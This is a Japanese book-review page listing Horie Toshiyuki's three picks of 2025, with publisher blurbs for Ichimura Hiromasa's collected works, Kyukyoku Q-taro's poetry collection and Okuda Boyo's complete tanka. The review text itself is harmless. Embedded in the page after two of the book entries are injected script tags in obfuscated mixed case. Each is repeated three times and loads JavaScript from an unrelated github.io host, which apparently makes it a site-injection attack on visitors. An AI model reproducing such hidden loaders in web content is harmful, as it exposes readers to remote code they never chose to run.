書評
堀江 敏幸「2025年 この3冊」毎日新聞|<1>市村 弘正『市村弘正著作集』上・下(集英社) <2>究極Q太郎『散歩依存症』(現代書館) <3>奥田 亡羊『ぼろんじ』(書肆侃侃房)
- 2025/12/31
2025年「この3冊」
<1>市村 弘正『市村弘正著作集』上・下(集英社)
<2>究極Q太郎『散歩依存症』(現代書館)
<3>奥田 亡羊『ぼろんじ』(書肆侃侃房)
<1>小さなもの、弱いものへの、全的な同期の姿勢。同情や共感ではなく、それらに刻みこまれた苦しみを太くてつよい思考の針金でつなぎ、「消えゆく世界の残像と影」をまっすぐに見つめること。硬い言葉を硬くしない、音楽がある。
<2>多様性や弱者に不寛容な世のなかといかに向きあうか。自身の「弱い力」を信じ、たがいの弱さを認識して依存しあうこと。ここでの散歩は息抜きではない。詩心と覚悟と持続性が求められる、きびしい旅だ。
<3>「旅ならば草の枕と思ひをり治療マスクの網のさみどり」。今春亡くなった歌人の第四歌集『虚国(むなくに)』を含む全歌集。ぼろんじは『徒然草』から採られた言葉。はみ出し者、弱者の圏域の住人だ。その弱さの先に、「茫漠とわれを支へる確かな未来」がひろがる。
市村弘正著作集 上巻
- 著者:市村 弘正
- 出版社:集英社
- 装丁:単行本(432ページ)
- 発売日:2025-03-26
- ISBN-10:4087890198
- ISBN-13:978-4087890198
- 内容紹介:
- 丸山眞男と藤田省三の水脈に立つ思想史家・市村弘正は、鶴見俊輔や加藤典洋をはじめ、戦後日本を代表する論者たちから高く評価されてきた。このたび、稀代の読書人でありながら寡作をもって知… もっと読む丸山眞男と藤田省三の水脈に立つ思想史家・市村弘正は、鶴見俊輔や加藤典洋をはじめ、戦後日本を代表する論者たちから高く評価されてきた。
このたび、稀代の読書人でありながら寡作をもって知られる市村の全仕事を、上下2冊の個人著作集に収録。
上巻には単行本デビュー作『「名づけ」の精神史』をはじめ『標識としての記録』『小さなものの諸形態 精神史覚え書』の3作を収録。
また、月報「市村弘正研究ノート 上」には、石川健治、宇野邦一、佐藤健二、杉田敦、ジョン・ブリーン、細見和之、矢野久美子、龍澤武、各界を代表する豪華メンバー8名が、それぞれの熱い思いをエッセイとして寄稿。
時代の断層を鋭く見つめ、根源まで考え、石に刻むように書き残してきた市村の言葉は、自身が深く傾倒する批評家ベンヤミンさながらに、混迷の時代に向き合う読者一人一人の思考を、アクチュアルに揺さぶり続けるだろう。
全巻の構成
上巻
「名づけ」の精神史
標識としての記録
小さなものの諸形態 精神史覚え書
初出一覧(上巻)
下巻
敗北の二十世紀
読むという生き方
単著未収録論考
附録(『みすず』読書アンケート他)
著者解題
後記
初出一覧(下巻)
人名索引(上・下巻)<sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt>
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市村弘正著作集 下巻
- 著者:市村 弘正
- 出版社:集英社
- 装丁:単行本(504ページ)
- 発売日:2025-04-25
- ISBN-10:4087890201
- ISBN-13:978-4087890204
- 内容紹介:
- 歴史の断層を読む――。ベンヤミン、アーレントに応答する透徹した思考。丸山眞男、藤田省三の水脈に立つ思想史家・市村弘正の全仕事を収めた、上下2巻の個人著作集。下巻は『敗北の二十世紀… もっと読む歴史の断層を読む――。
ベンヤミン、アーレントに応答する透徹した思考。
丸山眞男、藤田省三の水脈に立つ思想史家・市村弘正の全仕事を収めた、上下2巻の個人著作集。
下巻は『敗北の二十世紀』と『読むという生き方』の2冊を中心に構成。「単著未収録論考」章には、『藤田省三セレクション』(平凡社ライブラリー、2010年)の解説を改稿した「「異物」の精神――藤田省三論」や、日本エディタースクール創設者吉田公彦への追悼文「出版人の形姿」(未発表)他を掲載した。「附録」章には、1986~2023年の「『みすず』読書アンケート」への回答も収録。なお「著者解題」は本巻に収めた。
下巻の月報「市村弘正研究ノート 下」には、齋藤純一はじめ総勢10名の執筆者が寄稿。「同時代書評より」では、加藤典洋や鶴見俊輔らの書評を概観しながら、作品が生みだされた時代状況を展望する。
月報「市村弘正研究ノート」全目次
[上巻]
石川健治 トランシルヴァニアに「声」をきく
宇野邦一 『敗北の二十世紀』の不穏な思考
佐藤健二 「触診」の静慮の文の美しく
杉田 敦 市村さんの「読むという生き方」
ジョン・ブリーン キーンツハイムの思い出
細見和之 周回遅れの一読者の祈り
矢野久美子 「不純性」へのpleasure
龍澤 武 市村弘正と藤田省三
[下巻]
太田和徳 ただひとりの先生
熊沢敏之 夢(ユートピア)の一覧表
郡司典夫 命の恩人――市村先生〈を〉読む/市村先生〈と〉読む
齋藤純一 物との交渉
趙星銀 「都市」という関係性
林 桂吾 『敗北の二十世紀』ができるまで
保科孝夫 平凡社ライブラリー版『「名づけ」の精神史』のこと
洪貴義 救済としての読解
渡邉悟史 異物の可能性
落合勝人 『市村弘正著作集』を編集するまで
同時代書評より<sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt>
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究極Q太郎詩集 散歩依存症
- 著者:究極Q太郎
- 出版社:現代書館
- 装丁:単行本(264ページ)
- 発売日:2024-12-18
- ISBN-10:4768459706
- ISBN-13:978-4768459706
- 内容紹介:
- 無力さという重力を担ぎ 歩け、歩け、歩け――。八方塞がりの中にあるのは 私か、あるいは世界か。「飲酒欲求をなんとか紛らせようとして歩きはじめたのだったが、それは身体に気を遣おうなど… もっと読む無力さという重力を担ぎ 歩け、歩け、歩け――。
八方塞がりの中にあるのは 私か、あるいは世界か。
「飲酒欲求をなんとか紛らせようとして歩きはじめたのだったが、それは身体に気を遣おうなどという、前向きな健康的な理由からではなく、度々起こしていたすんでのところのボヤ騒ぎをこれ以上繰り返すまいと思ったためだった」
介助者、アナキスト、詩人……。究極Q太郎さんにはこのような貌(かお)がある。
19歳、浪人時代に飯島詭理(いいじま・きり)名義で「第24回現代詩手帖賞」を受賞。が、その後、大学ではノンセクト運動と介助者としての生活を送る(その後退学)。
介助者としては、金井康治さんや新田勲さんの介助にも入り、機関誌『タビットソン』(金井康治命名)の編集に参加したり、「グループもぐら」の活動に参加して機関誌『グループもぐら』通信の編集に加わる。そして、『現代思想 特集=身体障害者』(1998年2月号)の編集にもたずさわった。
アナキスト界隈では、「3A(スリーA)の会」に加わり機関誌『Actual Action』に参加したり、『Anarchist independent Review』にも参加した。
その間、早稲田に交流スペース〈あかね〉を立ち上げ、詩作との距離は都度、広がったり縮んだり。ミニコミ詩集を作品の主な発表の場としてきた。
本書『散歩依存症』は、究極Q太郎という人が、アルコールとの関係がのっぴきならないものになったとき、華麗に依存対象を「散歩」に置き換えたことに端を発して書かれた「詩」の塊である。
しかし問題は散歩の中身のほうで、このような具合なのだ。
「仕事の帰り道四時間かけ、休みの日には最大一日十時間も歩くようになっていた。毎日毎日、『雨ニモマケズ』のように。体に負荷をかけると、そのことに気をとられ、いらぬことを思う余力が削がれると信じ、両肩に重い荷物を担ぎ、坂道や階段、歩道橋に出遭えば登る、そしていらぬことが心に浮かびそうになったらそれを振り払うように思い切り歌をうたう。(略)
いつしか私は、変性意識状態に入っていた。十時間歩いても全く疲れず、全てがクレイアニメのように見えるようになったのである」
「私が散歩するうちに見いだした「極意」に、「この道は通り抜けられないだろう」と見える路地にあえて入っていくというものがある。本当に抜けられなければ戻ればいい」(いずれも本書「あとがき」より)
こうして路地へ、狭いほうへと向かう足取り。まるで迷うために、八方塞がりになるための散歩? ミラクルへと反転するための助走?
もしかするとこの詩を読んでいるひとは、「この詩人は狂っているのではないか」という想いを、一度はいだくかもしれない。だが、詩人の散歩はそれを反転させるものなのだ。
本書には「にしこく挽歌」「散歩依存症」「ガザの上にも月はのぼる」ほか、39篇を所収。写真とドローイング、詳細な年譜も付した。
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奥田亡羊全歌集 ぼろんじ
- 著者:奥田 亡羊
- 出版社:書肆侃侃房
- 装丁:単行本(ソフトカバー)(256ページ)
- 発売日:2025-11-11
- ISBN-10:486385708X
- ISBN-13:978-4863857087
- 内容紹介:
- 草と風を集め 花野を渡り 闇を抱いて 詠い続けた詩魂 生と死を見つめた30年、1113首の全歌業 『ぼろんじ』によって初めて刊行される、奥田亡羊の第四歌集『虚国』を含む全歌集。 「… もっと読む草と風を集め 花野を渡り
闇を抱いて 詠い続けた詩魂
生と死を見つめた30年、1113首の全歌業
『ぼろんじ』によって初めて刊行される、奥田亡羊の第四歌集『虚国』を含む全歌集。
「一人の人間が残すことのできる言葉には限りがある。しかし彼の紡いだ言葉は、この『ぼろんじ』を通して多くの人々の心に届き、これからも生き続けていくだろう。この一書が奥田亡羊という稀有な歌人の軌跡を刻む、かけがえのない証となることを願ってやまない。」 (巻頭言 矢部雅之)
「奥田はずいぶん早く、遠い旅に出てしまった。奥田本人を交えて第四歌集の感想を語り合えないことが寂しい。だが、誰もがいつか行く道ならば、またどこかで会えるはずである。その日まで、奥田亡羊がのこしてくれた四冊の歌集を、大切に読み継いでゆきたいと思う。」 (解説 横山未来子)
「「奥田亡羊」という名前の意味を皆が理解してくれるようになるまで使い続けろ。変な名前でも世の中がそれを当たり前に思うようになれば良いんだ。
名前に負けるな、ということだったと思う。嬉しかった。
「亡羊」という名に、私は少しは追いつけただろうか」 (あとがき 奥田亡羊)
【収録歌】
宛先も差出人もわからない叫びをひとつ預かっている 『亡羊』
鏡の奥にひと月ぶりの髭を剃る空には竜の匂いがした 『花』
大股に来たりて春は岩をしぼる。絞られて岩、水を滴らす 『虚国』
おのづから心は虚(うろ)となりながら空にとどろく海鳴りを聞く 『虚国』
旅ならば草の枕と思ひをり治療マスクの網のさみどり 『虚国』
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